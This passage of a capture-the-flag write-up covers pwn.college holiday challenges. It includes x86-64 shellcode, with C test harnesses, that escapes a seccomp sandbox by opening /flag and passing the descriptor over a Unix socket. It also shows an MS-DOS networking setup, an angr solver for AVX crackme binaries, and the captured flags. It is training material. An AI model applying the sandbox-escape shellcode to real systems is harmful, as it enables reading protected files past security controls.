seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(recvmsg), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendmsg), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) {
perror("seccomp_rule_add");
return 1;
}
if (seccomp_load(ctx) < 0) {
perror("seccomp_load");
return 1;
}
seccomp_release(ctx);
return 0;
}
int main(int argc, char *argv[])
{
puts("📡 Tuning to Santa's reserved frequency...");
void *code = mmap(SANTA_FREQ_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (code != SANTA_FREQ_ADDR) {
perror("mmap");
return 1;
}
puts("💾 Loading incoming elf firmware packet...");
if (read(0, code, 0x1000) < 0) {
perror("read");
return 1;
}
puts("🧝 Protecting station from South Pole elfs...");
if (setup_sandbox() != 0) {
perror("setup_sandbox");
return 1;
}
// puts("🎙️ Beginning uplink communication...");
((void (*)())(code))();
// puts("❄️ Uplink session ended.");
return 0;
}
This time the syscalls allowed are openat, recvmsg, sendmsg and exit_group. I fell into a couple of rabbit holes when trying to solve this one as there’s not much information really online about this specific usage of the syscalls. But once I realised the main idea, the implementation was quite easy.
We can test this idea using a client and server implemented in C, before coding the needed shellcode in assembly. The client mainly opens a Unix socket, listens for incoming connections and accepts a connection. Once a connection is made, it then receives some dummy data and a file descriptor in ancillary data. Using the file descriptor we can then read the file directly:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#define SOCKET_PATH "./socket_path"
int main() {
int listen_sfd, client_sfd, received_fd = -1;
struct sockaddr_un addr;
struct msghdr msg = {0};
struct iovec iov[1];
char data_buf[100];
char control_buf[CMSG_SPACE(sizeof(int))]; // Buffer for SCM_RIGHTS
// Create a socket and bind it to a file path
listen_sfd = socket(AF_UNIX, SOCK_STREAM, 0);
if (listen_sfd == -1) {
perror("[Client] socket");
return 1;
}
// Ensure the socket file doesn't exist from a previous run
unlink(SOCKET_PATH);
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);
if (bind(listen_sfd, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
perror("[Client] bind");
close(listen_sfd);
return 1;
}
printf("[Client] Listening on socket: %s\n", SOCKET_PATH);
// Listen and wait for the exploited program (Server) to connect
if (listen(listen_sfd, 5) == -1) {
perror("[Client] listen");
close(listen_sfd);
return 1;
}
client_sfd = accept(listen_sfd, NULL, NULL);
if (client_sfd == -1) {
perror("[Client] accept");
close(listen_sfd);
return 1;
}
close(listen_sfd); // Done listening
printf("[Client] Server connected. Preparing to receive FD.\n");
// Setup iovec (to receive dummy data)
iov[0].iov_base = data_buf;
iov[0].iov_len = sizeof(data_buf);
// Setup msghdr for receiving
msg.msg_iov = iov;
msg.msg_iovlen = 1;
msg.msg_control = control_buf;
msg.msg_controllen = sizeof(control_buf);
// Call recvmsg to receive the dummy data and the FD in ancillary data
ssize_t n = recvmsg(client_sfd, &msg, 0);
if (n < 0) {
perror("[Client] recvmsg");
close(client_sfd);
return 1;
}
printf("[Client] Received %zd bytes of dummy data.\n", n);
// Check the ancillary data for the file descriptor
struct cmsghdr *cmsg;
for (cmsg = CMSG_FIRSTHDR(&msg); cmsg != NULL; cmsg = CMSG_NXTHDR(&msg, cmsg)) {
if (cmsg->cmsg_level == SOL_SOCKET && cmsg->cmsg_type == SCM_RIGHTS) {
// Found the transferred FD!
received_fd = *(int *)CMSG_DATA(cmsg);
printf("[Client] SUCCESSFULLY RECEIVED FILE DESCRIPTOR: %d\n", received_fd);
break;
}
}
if (received_fd == -1) {
printf("[Client] FAILED to find SCM_RIGHTS data.\n");
close(client_sfd);
return 1;
}
// Use the received FD to read the file contents directly
char flag_contents[100];
ssize_t flag_n = read(received_fd, flag_contents, sizeof(flag_contents) - 1);
if (flag_n > 0) {
flag_contents[flag_n] = '\0';
printf("File contents: %s\n", flag_contents);
} else {
perror("[Client] Final read failed");
}
// Cleanup
close(received_fd);
close(client_sfd);
unlink(SOCKET_PATH);
return 0;
}
The server is privileged and can open the flag file. It then opens the same socket created by the client and sends a message of type SCM_RIGHTS with the file descriptor inside the ancillary data:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#define SOCKET_PATH "./socket_path"
#define FLAG_FILE "/flag"
int main(int argc, char *argv[]) {
int sfd = 3, flag_fd;
struct sockaddr_un addr;
struct msghdr msg = {0};
struct iovec iov[1];
char control_buf[CMSG_SPACE(sizeof(int))]; // Buffer for SCM_RIGHTS
char data_buf[] = "Sending FD"; // Dummy data required for sendmsg
// Open the file we want to "leak"
flag_fd = open(FLAG_FILE, O_RDONLY);
if (flag_fd < 0) {
perror("[Server] open");
return 1;
}
printf("[Server] Opened flag file. FD: %d\n", flag_fd);
// Setup iovec
iov[0].iov_base = data_buf;
iov[0].iov_len = sizeof(data_buf);
// Setup msghdr
msg.msg_iov = iov;
msg.msg_iovlen = 1;
msg.msg_control = control_buf;
msg.msg_controllen = sizeof(control_buf);
// Setup cmsghdr to use SCM_RIGHTS
struct cmsghdr *cmsg;
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
*((int *)CMSG_DATA(cmsg)) = flag_fd; // Attach the file descriptor
msg.msg_controllen = cmsg->cmsg_len;
// Send the message with the FD inside the ancillary data
printf("[Server] Sending flag FD %d via sendmsg...\n", flag_fd);
if (sendmsg(sfd, &msg, 0) == -1) {
perror("[Server] sendmsg");
close(sfd);
close(flag_fd);
return 1;
}
printf("[Server] Successfully sent file descriptor.\n");
close(sfd);
close(flag_fd);
return 0;
}
To simulate the conditions of the challenge (no ability to call the socket or connect syscalls) I’ve hardcoded the socket file descriptor in the server to 3 and used a wrapper around he server which opens the socket, duplicates the file descriptor and passes it on to the server:
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/un.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
const char *sockpath = "./socket_path";
int s = socket(AF_UNIX, SOCK_STREAM, 0);
if (s < 0) { perror("socket"); return 1; }
struct sockaddr_un addr;
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, sockpath, sizeof(addr.sun_path)-1);
if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
perror("connect");
close(s);
return 1;
}
// Put connected socket at FD 3
if (dup2(s, 3) < 0) { perror("dup2"); close(s); return 1; }
// Optionally close original if different
if (s != 3) close(s);
// --- To run the challenge with input from fifo
// Redirect input from the fifo where the python wrapper writes
//int fd_fifo = open("/home/hacker/my_fifo_stdin", O_RDONLY);
//if (fd_fifo < 0) { perror("open fifo"); return 1; }
// Redirect stdin to the FIFO
//if (dup2(fd_fifo, 0) < 0) { perror("dup2 stdin"); return 1; }
//close(fd_fifo);
// ----
// Exec the binary
char *newargv[] = { "/home/hacker/relay-server", NULL };
//char *newargv[] = { "/challenge/northpole-relay", NULL };
execv(newargv[0], newargv);
perror("execv");
return 1;
}
Let’s test:
(Terminal 1)
$ gcc -o relay-client relay-client.c
$ ./relay-client
[Client] Listening on socket: ./socket_path
[Client] Server connected. Preparing to receive FD.
[Client] Received 11 bytes of dummy data.
[Client] SUCCESSFULLY RECEIVED FILE DESCRIPTOR: 3
File contents: pwn.college{practice}
(Terminal 1)
$ gcc -o relay-server relay-server.c
$ gcc -o relay-wrapper relay-wrapper.c
$ sudo ./relay-wrapper
[Server] Opened flag file. FD: 4
[Server] Sending flag FD 4 via sendmsg...
[Server] Successfully sent file descriptor.
Last step towards the flag is to create the shellcode to replicate the functionality of the server. Compared with Day 5, ths one is straight-forward:
sub rsp, 0x300 /* Allocate local stack space */
lea rdi, [rsp + 0x200]
mov rax, 0x67616c662f /* Write "/flag" into memory */
mov qword ptr [rdi], rax
mov byte ptr [rdi+5], 0
mov rax, 257
mov rdi, -100
lea rsi, [rsp + 0x200]
xor rdx, rdx
xor r10, r10
syscall /* openat(AT_FDCWD=-100, pathname, O_RDONLY=0) */
mov r12d, eax /* save flag_fd */
lea r14, [rsp + 0x1E0] /* Dummy data for iovec */
mov rax, 0x4141414142424242
mov [r14], rax
lea r13, [rsp + 0x1C0] /* struct iovec */
mov [r13], r14
mov qword ptr [r13+8], 8
lea rbx, [rsp + 0x100] /* struct cmsghdr (x86-64 layout) */
mov qword ptr [rbx+0], 24 /* cmsg_len = CMSG_LEN(sizeof(int)) = 8+4+4+4 (align) = 24 */
mov dword ptr [rbx+8], 1 /* cmsg_level = SOL_SOCKET */
mov dword ptr [rbx+12], 1 /* cmsg_type = SCM_RIGHTS */
mov dword ptr [rbx+16], r12d /* CMSG_DATA (FD) starts at offset +16 */
lea r15, [rsp + 0x180] /* struct msghdr */
mov qword ptr [r15+0x00], 0 /* msg_name */
mov qword ptr [r15+0x08], 0 /* msg_namelen */
mov qword ptr [r15+0x10], r13 /* msg_iov */
mov qword ptr [r15+0x18], 1 /* msg_iovlen */
mov qword ptr [r15+0x20], rbx /* msg_control */
mov qword ptr [r15+0x28], 24 /* msg_controllen (must match real space) */
mov qword ptr [r15+0x30], 0 /* msg_flags */
mov rax, 46
mov rdi, 3
mov rsi, r15
xor rdx, rdx
syscall /* sendmsg(3, &msghdr, 0) */
mov rax, 231
xor rdi, rdi
syscall /* exit_group(0) */
Let’s chain everything together to get the flag:
(Terminal 1) The client listener
$ ./client
[Client] Listening on socket: ./socket_path
[Client] Server connected. Preparing to receive FD.
[Client] Received 8 bytes of dummy data.
[Client] SUCCESSFULLY RECEIVED FILE DESCRIPTOR: 3
File contents: pwn.college{practice}
(Terminal 2) Wrapper over the challenge binary
./wrapper
📡 Tuning to Santa's reserved frequency...
💾 Loading incoming elf firmware packet...
🧝 Protecting station from South Pole elfs...
(Terminal 3) Feed the shellcode via a FIFO
$ python relay.py
Press ENTER to send shellcode payload to fifo...
Day 11 - MS-DOS comeback
This is another really nice challenge. If you can get past the frustrations of not having the modern features of a terminal, and you’re missing the MS-DOS era, this will be fun! The main idea is that we had to install MS-DOS from 3 disks, then somehow connect to a flag server running (obviously) on a ‘leet IP and ‘leet port (192.168.13.37:1337) and retrieve the flag. EZ, let’s do it!
Useful references:
Installing The Packet Driver
mTCP: TCP/IP for DOS
DOS tricks
- Paginate a long files listing:
dir /p - View files:
type <file> - Edit files:
edit <file>
Step 1: Install MS-DOS 6.22 from disks 1-3
Step 2: Install PCNet Packet Driver
DIR A:\PKTDRVR
A: \PKTDRVR>pcntpk int=0×60
Packet driver for an PCNTPK, version 03.10
Packet driver skeleton copyright 1988-92, Crynwr Software.
This program is free software; see the file COPYING for details.
NO WARRANTY; see the file COPYING for details.
Packet driver is at segment OBBF
Interrupt number OxB (11)
I/D port 0xC000 (49152)
My Ethernet address is 52:54:00:12:34:56
Step 3: Install mTCP
C:
MD \MTCP
COPY A:\*.EXE C:\MTCP
COPY A:\*.TXT C:\MTCP
EDIT C:\MTCP\MTCP.CFG
PACKETINT 0x60
IPADDR 192.168.13.10
NETMASK 255.255.255.0
GATEWAY 192.168.13.37
NAMESERVER 192.168.13.37
Step 4: Test connectivity
SET MTCPCFG=C:\MTCP\MTCP.CFG
C:\MTCP>ping 192.168.13.37
mCP Ping by M Brutman (mbbrutman@gmail.com) (C)opyright 2009-2025
Version: Jan 10 2025
Sending ICMP packets to 192.168.13.37
ICMP Packet payload is 32 bytes.
Packet sequence number O received from 192.168.13.37 in 0.00 ms, ttl=64
Packet sequence number 1 received from 192.168.13.37 in 0.00 ms, ttl=64
Step 5: Retrieve the flag
NC -TARGET 192.168.13.37 1337
Server resolved to 192.168.13.37 - connecting
Connected!
pwn.college{YQduO2Ga9nwPmpuQxidIlLd5Myh.QXyYTMyIDLzQDMyQzW}
Day 12 - AVX instructions symbolic analysis
Another QEMU based challenge, which already hints at some interesting features 😛 To unpack what’s happening, we can start with the script that launches the guest VM:
#!/usr/bin/exec-suid -- /bin/bash -p
set -euo pipefail
umask 077
if [ "$#" -ne 1 ]; then
echo "usage: $0 <list>" >&2
exit 1
fi
LIST_SRC="$1"
if [ ! -d "$LIST_SRC" ]; then
echo "error: list must be a directory" >&2
exit 1
fi
LOG_FILE="$(mktemp)"
cleanup() { rm -f "$LOG_FILE"; }
trap cleanup EXIT
if ! qemu-system-x86_64 \
-machine accel=tcg \
-cpu max \
-m 512M \
-nographic \
-no-reboot \
-kernel /boot/vmlinuz \
-initrd /boot/initramfs.cpio.gz \
-append "console=ttyS0 quiet panic=-1 rdinit=/init" \
-fsdev local,id=list_fs,path="$LIST_SRC",security_model=none \
-device virtio-9p-pci,fsdev=list_fs,mount_tag=list \
-serial stdio \
-monitor none | tee "$LOG_FILE"; then
echo "error: VM execution failed" >&2
exit 1
fi
if grep -q "NAUGHTY" "$LOG_FILE"; then
exit 1
fi
if ! grep -q "NICE" "$LOG_FILE"; then
exit 1
fi
cat /flag
A few interesting bits that we can observe:
-cpu maxoption - which enables all CPU features that are safe and supported by the architecture.-fsdev local,id=list_fs,path="$LIST_SRC"- QEMU sharess a local folder with the guest VM using the 9p protocol.rdinit=/init"- Upon initialisation, the script/initwill be executed. The script is coming from/boot/initramfs.cpio.gz.- If the script thinks we’ve been NICE, not NAUGHTY, we get the flag.
To find out what’s inside the init script, we can extract it from the compressed initial RAM filesystem that Linux loads early during the boot process:
~ scp hacker@dojo.pwn.college:/boot/initramfs.cpio.gz ~/tmp
~ gzcat initramfs.cpio.gz | cpio -idmv
Peeling off the layers, there’s another short script:
#!/bin/sh
set -eu
PATH=/bin
export PATH
( cd /bin && ln -sf busybox sh )
for util in mount insmod poweroff cat; do
[ -x "/bin/$util" ] || ln -sf busybox "/bin/$util"
done
echo "[init] loading 9p modules"
for mod in /lib/modules/*/kernel/fs/netfs/netfs.ko \
/lib/modules/*/kernel/net/9p/9pnet.ko \
/lib/modules/*/kernel/net/9p/9pnet_virtio.ko \
/lib/modules/*/kernel/fs/9p/9p.ko; do
[ -f "$mod" ] || continue
echo " insmod $mod"
insmod "$mod" 2>/dev/null || true
done
echo "[init] mounting 9p list..."
mkdir -p /list
if ! mount -t 9p -o trans=virtio,version=9p2000.L list /list 2>&1; then
echo "mount failed"
exit 1
fi
echo "[init] running checks"
if /challenge/check-list; then
echo "NICE"
else
echo "NAUGHTY"
fi
/bin/busybox poweroff -f
Which basically mounts a list folder, then runs another script - /challenge/check-list:
#!/bin/sh
set -eu
for path in /challenge/naughty-or-nice/*; do
[ -f "$path" ] || continue
digest=$(basename "$path")
input="/list/$digest"
if [ ! -f "$input" ]; then
echo "$digest: missing"
exit 1
fi
if output=$("$path" < "$input" 2>&1); then
cat "$input"
else
echo "$digest: $output"
exit 1
fi
done
For each binary file in /challenge/naughty-or-nice (on the host), the script looks for a corresponding file in /list/ to use as input. The script iterates through all available binaries (about 460 at the time). If running a binary with its corresponding input key produces a result, the script moves on to the next one; otherwise, execution terminates with exit code 1.
All the binaries have te same structure, and their logic is very very similar with level 1. They read an input buffer, apply a very large number of operations and expect a certain result. The difference and difficulty comes from the fact that these binaries now use AVX (Advanced Vector Extensions) instructions to process the input. Here’s a snippet of code from Ghidra:
auVar747[0x1f] = 0x50;
auVar8 = vpsubb_avx2(auVar3,auVar747);
auVar27._20_6_ = 0x598b8790a024;
auVar27._0_20_ = _DAT_0040a0f1;
auVar27._26_6_ = 0xa31790cff50c;
auVar3 = vpsubb_avx2(auVar2,auVar27);
auVar2 = vpblendvb_avx2(auVar2,auVar3,_DAT_00415bd4);
auVar748[8] = 0xf8;
auVar748._0_8_ = 0xf8f8f8f8f8f8f8f8;
auVar748[9] = 0xf8;
Maybe not necessarily the fastest solution, but I opted for angr framework to do the symbolic execution. The solver iterates through all the binaries on the naughty-or-nice list, identifies the winning address for each (based on the instruction that reads the length of the success message) and solves it (finds an input that will lead to the success address):
import os
import angr
import logging
# Suppress verbose logging
logging.getLogger('angr').setLevel(logging.ERROR)
BIN_DIR = "/opt/naughty-or-nice"
OUT_DIR = "/home/hacker/my-list"
def find_success_address(bin_path):
with open(bin_path, 'rb') as f:
data = f.read()
# Success message length
# E.g.: 00407cdb 48 c7 c2 31 00 00 00 MOV RDX,0x31
pattern = b'\x48\xc7\xc2\x31\x00\x00\x00'
offset = data.find(pattern)
base = 0x400000
if offset != -1:
addr = base + offset
print(f"[*] Found success path at {addr:08x}")
return addr
return None
def solve_binary(bin_path):
success_addr = find_success_address(bin_path)
if not target_addr:
sys.exit(1)
# Load without shared libraries to increase speed
proj = angr.Project(bin_path, auto_load_libs = False)
# Initialize state with zero-filling to handle large SIMD registers/memory
state = proj.factory.entry_state(
add_options={
angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY,
angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS
}
)
simgr = proj.factory.simulation_manager(state)
# Explore for the dynamically found success path
simgr.explore(find = success_addr)
if simgr.found:
return simgr.found[0].posix.dumps(0)
return None
if __name__ == "__main__":
if not os.path.exists(OUT_DIR):
os.makedirs(OUT_DIR)
# Get all binaries and sort them
binaries = sorted(os.listdir(BIN_DIR))
total = len(binaries)
print(f"[*] Starting solver for {total} binaries")
for i, filename in enumerate(binaries, 1):
print(f"[{i}/{total}] Solving {filename}...", flush = True)
# Solution path
target_path = os.path.join(OUT_DIR, filename)
# Skip files already solved
if os.path.exists(target_path):
print("[+] Already solved")
continue
# Binary to be solved
full_path = os.path.join(BIN_DIR, filename)
try:
solution = solve_binary(full_path)
if solution:
with open(target_path, "wb") as f:
f.write(solution)
print("SUCCESS")
else:
print("FAILED")
except Exception as e:
print(f"ERROR: {e}")
It takes a while to generate all the solutions on the challenge server, but I was not in any rush:
$ python solver.py
[*] Starting solver for 467 binaries
[1/467] Solving 003b1327b890496084b50be689fb88b9818f1d220060fb98f549dec133afc353...
[+] Already solved
[2/467] Solving 01649985ef4ec3da6241a65f7bb43cbddd3709104283b2f09028abd5aecd3072...
[+] Already solved
...
[84/467] Solving 2d6c0a4ed3afe983ad1af4313308702c1db3efece17b1199c9e8875516c58a6a...
[*] Found success path at 00407d19
SUCCESS
[85/467] Solving 2d74d602dad9382033f5fbaf51c4be41c763df60408aad3cc5e6eb01fde085b1...
[*] Found success path at 00407c52
SUCCESS
Having solved all the binaries, we can feed the solutions list to the checker in the guest VM and retrieve the flag:
$ /challenge/run ~/my-list/
SeaBIOS (version rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org)
iPXE (http://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+1EFD0E10+1EF30E10 CA00
Booting from ROM...
[init] loading 9p modules
insmod /lib/modules/6.8.0-90-generic/kernel/fs/netfs/netfs.ko
insmod /lib/modules/6.8.0-90-generic/kernel/net/9p/9pnet.ko
insmod /lib/modules/6.8.0-90-generic/kernel/net/9p/9pnet_virtio.ko
insmod /lib/modules/6.8.0-90-generic/kernel/fs/9p/9p.ko
[init] mounting 9p list...
[init] running checks
🎅 frstbyte is nice! 🎅
🎅 Sammy17 is nice! 🎅
🎅 im-razvan is nice! 🎅
🎅 baymax123 is nice! 🎅
🎅 S4vvy is nice! 🎅
🎅 Lord_Idiot is nice! 🎅
🎅 invalidwaffles is nice! 🎅
[....]
🎅 livz is nice! 🎅. 😛
...
pyrogny is nice! 🎅
NICE
[ 89.252875] reboot: Power down
pwn.college{IcVZ4pVM1QTYfyFVqSoWFtuz-CM.QX1YTMyIDLzQDMyQzW}